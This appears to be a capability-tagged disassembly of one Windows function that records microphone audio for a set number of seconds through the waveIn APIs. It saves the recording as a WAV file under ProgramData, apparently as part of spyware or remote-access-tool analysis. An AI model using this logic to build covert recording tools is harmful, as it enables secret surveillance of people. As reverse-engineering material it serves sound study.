Function at 0x140002f4b
Capabilities:
Capture microphone audio
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov dword [rbp + 0x10], ecx
mov eax, dword [rbp + 0x10]
imul eax, eax, 0x15888
mov dword [rbp - 0x74], eax
mov word [rbp - 0x50], 1
mov word [rbp - 0x4e], 1
mov dword [rbp - 0x4c], 0xac44
mov dword [rbp - 0x48], 0x15888
mov word [rbp - 0x44], 2
mov word [rbp - 0x42], 0x10
mov word [rbp - 0x40], 0
mov eax, dword [rbp - 0x74]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x28], eax
mov dword [rbp - 0x18], 0
mov dword [rbp - 0x14], 0
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInOpen]
call rax
test eax, eax
je 0x140003026
mov ecx, 2
mov rax, qword [fcn.14000dcc0]
call rax
mov rcx, rax
lea rax, str.Failed_to_open_microphone._n
mov rdx, rax
call fcn.140001450
mov rax, qword [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400032b5
mov rax, qword [rbp - 0x68]
lea rdx, [rbp - 0x30]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInPrepareHeader]
call rax
mov rax, qword [rbp - 0x68]
lea rdx, [rbp - 0x30]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInAddBuffer]
call rax
mov rax, qword [rbp - 0x68]
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInStart]
call rax
mov eax, dword [rbp + 0x10]
imul eax, eax, 0x3e8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x68]
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInStop]
call rax
mov rax, qword [rbp - 0x68]
lea rdx, [rbp - 0x30]
mov r8d, 0x30
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInUnprepareHeader]
call rax
mov rax, qword [rbp - 0x68]
mov rcx, rax
mov rax, qword [sym.imp.WINMM.dll_waveInClose]
call rax
lea rax, [0x140010707]
mov rdx, rax
lea rax, str._ProgramData_RA.wav
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
je 0x1400032a8
mov rax, qword [rbp - 0x58]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.RIFF
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov eax, dword [rbp - 0x74]
add eax, 0x24
mov dword [rbp - 0x70], eax
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x70]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x58]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str.WAVEfmt
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp - 0x6c], 0x10
mov word [rbp - 0x76], 1
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x6c]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x76]
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 2
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 4
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 8
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 0xc
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 0xe
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x58]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.data
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x74]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov eax, dword [rbp - 0x74]
movsxd rdx, eax
mov rcx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x58]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_free
nop
add rsp, 0xb0
pop rbp
ret